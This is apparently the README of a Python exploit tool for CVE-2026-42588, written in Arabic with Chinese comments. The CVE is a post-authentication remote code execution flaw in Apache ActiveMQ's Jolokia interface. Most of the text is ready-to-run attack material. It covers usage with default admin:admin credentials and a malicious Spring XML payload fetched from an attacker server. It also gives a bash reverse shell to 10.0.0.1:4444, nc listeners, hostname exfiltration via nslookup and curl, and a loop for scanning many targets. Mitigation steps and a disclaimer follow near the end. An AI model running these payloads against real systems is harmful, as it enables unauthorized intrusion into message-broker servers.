
# استغلال RCE قائم على بايثون لـ CVE-2026-42588 يستهدف Apache ActiveMQ Jolokia. يتضمن وضع الفحص فقط، وتوليد XML خبيث، ودعمًا للقشرة العكسية، وOOB، والتحقق القائم على الملفات.
مستوى الخطورة: 🔴 مرتفع (CVSS 4.0: 8.1)
نوع الثغرة: CWE-94 — حقن كود
الإصدارات المتأثرة: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
متطلب الاستغلال: يتطلب بيانات اعتماد مصادقة Web Console (الافتراضيةadmin:admin)
CVE-2026-42588 هي ثغرة تنفيذ كود عن بُعد (RCE) بعد المصادقة في Apache ActiveMQ.
يمكن للمهاجم، بشرط امتلاكه بيانات اعتماد مصادقة Web Console، استدعاء طريقة BrokerService.addNetworkConnector(String) عبر واجهة جسر Jolokia JMX-HTTP (/api/jolokia/)، وتمرير URI اكتشاف masterslave:// مُصمَّم بعناية، لتحميل ملف تكوين Spring XML عن بُعد باستخدام بروتوكول xbean:، وتنفيذ أوامر نظام تعسفية في نهاية المطاف داخل JVM الخاص بـ ActiveMQ Broker.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| المرحلة | الوصف |
|---|---|
| سطح الهجوم Jolokia | يعرّض Web Console الخاص بـ ActiveMQ /api/jolokia/ افتراضيًا، مما يسمح بتنفيذ عمليات exec على MBeans من نوع org.apache.activemq:* |
| الطريقة الخطرة | تستقبل BrokerService.addNetworkConnector(String) URI الاكتشاف وتقوم بتحليله |
| سلسلة تفعيل URI | معلمة brokerConfig في بروتوكول masterslave:// قابلة للتحكم، وتعمل مع مخطط xbean: على تفعيل تحميل سياق Spring |
| نقطة تفعيل RCE | يستخدم XBeanBrokerFactory ResourceXmlApplicationContext لتحميل XML عن بُعد، ويقوم Spring بإنشاء جميع Singleton Beans مسبقًا قبل التحقق من التكوين |
| نطاق الإصدار | الحالة |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ متأثر |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ متأثر |
| Apache ActiveMQ ≥ 5.19.7 | ✅ تم الإصلاح |
| Apache ActiveMQ ≥ 6.2.6 | ✅ تم الإصلاح |
/api/jolokia/ (المنفذ الافتراضي 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| الملف | الغرض |
|---|---|
CVE-2026-42588_EXP.py | سكربت استغلال بلغة Python، يدعم وضع الفحص (--check-only) ووضع توليد XML (--gen-xml) |
malicious.xml | قالب تكوين Spring XML الخبيث، يتضمن طريقتين للاستغلال: Runtime.exec() و ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
شغّل خدمة HTTP على الجهاز المهاجم:
python3 -m http.server 8080
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
1. توليد XML الخبيث على الجهاز المهاجم:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. استضافة XML وتشغيل المستمع:
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
3. تشغيل الثغرة:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. توليد XML خبيث لإصدار Windows:
عدّل أمر ProcessBuilder في malicious.xml إلى:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. الاستضافة والتنفيذ:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
نظرًا لأن تنفيذ الأمر يحدث أثناء مرحلة تحليل Spring XML، فهو غير متزامن (Asynchronous)، وقد لا يظهر ناتج التنفيذ مباشرةً في استجابة HTTP. يُنصح بالتحقق عبر الطرق التالية:
# 攻击机
nc -lvnp 4444
# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com
# 目标上检查标志文件
ls -la /tmp/activemq_pwned
# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888
| خط الإصدارات | الترقية إلى |
|---|---|
| سلسلة 5.x | 5.19.7 أو أحدث |
| سلسلة 6.x | 6.2.6 أو أحدث |
رابط التحميل: https://activemq.apache.org/download
إذا تعذّرت الترقية مؤقتًا، يمكن اتخاذ الإجراءات التالية لتقليل المخاطر:
في conf/jetty.xml، قيّد الوصول إلى /api/jolokia/ بحيث يكون محليًا فقط، أو استخدم جدار الحماية/الوكيل العكسي لإعداد قائمة بيضاء بالعناوين IP.
عدّل conf/jolokia-access.xml لمنع عمليات exec على MBeans من نوع org.apache.activemq:*:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
عدّل conf/jetty-realm.properties، واستبدل الافتراضي admin: admin, admin بكلمة مرور قوية.
في conf/jetty.xml، علّق على إعدادات Context المتعلقة بـ Web Console.
ج: نعم، تتطلب بيانات اعتماد صالحة لـ Web Console الخاص بـ ActiveMQ. لكن بيانات الاعتماد الافتراضية هي admin/admin، وفي البيئات الفعلية لم تُعدّل أنظمة كثيرة كلمة المرور الافتراضية، لذلك تظل المخاطر مرتفعة جدًا.
ج: هذا أمر طبيعي. تنفيذ الأمر غير متزامن ويحدث في مرحلة تحليل Spring XML. يُنصح بالتحقق باستخدام Shell عكسي أو استخراج بيانات عبر DNS أو غيرها. راجع التحقق من نجاح الاستغلال.
ج: نعم. يجب تغيير الأمر في malicious.xml من /bin/sh -c إلى cmd.exe /c، وضبط صيغة الأمر بما يتوافق مع نمط Windows.
ج: وضع الفحص يؤكد فقط ما إذا كانت واجهة Jolokia قابلة للوصول (وهو شرط ضروري للاستغلال). إمكانية الوصول إلى الواجهة لا تعني بالضرورة أن الثغرة قابلة للاستغلال، لكنها تعني وجود احتمالية للاستغلال.
ج: لا. بعد الترقية إلى 5.19.7+ أو 6.2.6+، تم إصلاح منطق تحليل معامل brokerConfig، ولم يعد يقبل مخطط xbean:.
⚠️ هذه الأداة مخصصة للبحث الأمني والاختبار المصرّح به فقط!
- استخدام هذه الأداة للوصول غير المصرّح به إلى الأنظمة يُعد عملًا غير قانوني
- يتحمل المستخدم وحده جميع العواقب والمسؤوليات الناتجة عن استخدام هذه الأداة
- لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرّح به أو إساءة الاستخدام أو الأضرار الناتجة عنه
- استخدم هذه الأداة على أنظمتك الخاصة أو على أنظمة حصلت على إذن كتابي لاختبارها
- التزم بالقوانين واللوائح المحلية والمعايير الأخلاقية المهنية
| المصدر | الرابط |
|---|---|
| قاعدة بيانات الثغرات (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| نشرة ثغرة Antiy | https://bbs.antiy.cn/thread-210844-1-1.html |
| تفاصيل ثغرة DDPOC | https://ddpoc.com/DVB-2026-11290.html |
| الموقع الرسمي لـ Apache ActiveMQ | https://activemq.apache.org/ |
| الإعلان الأمني لـ Apache | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — For Educational & Authorized Testing Purposes Only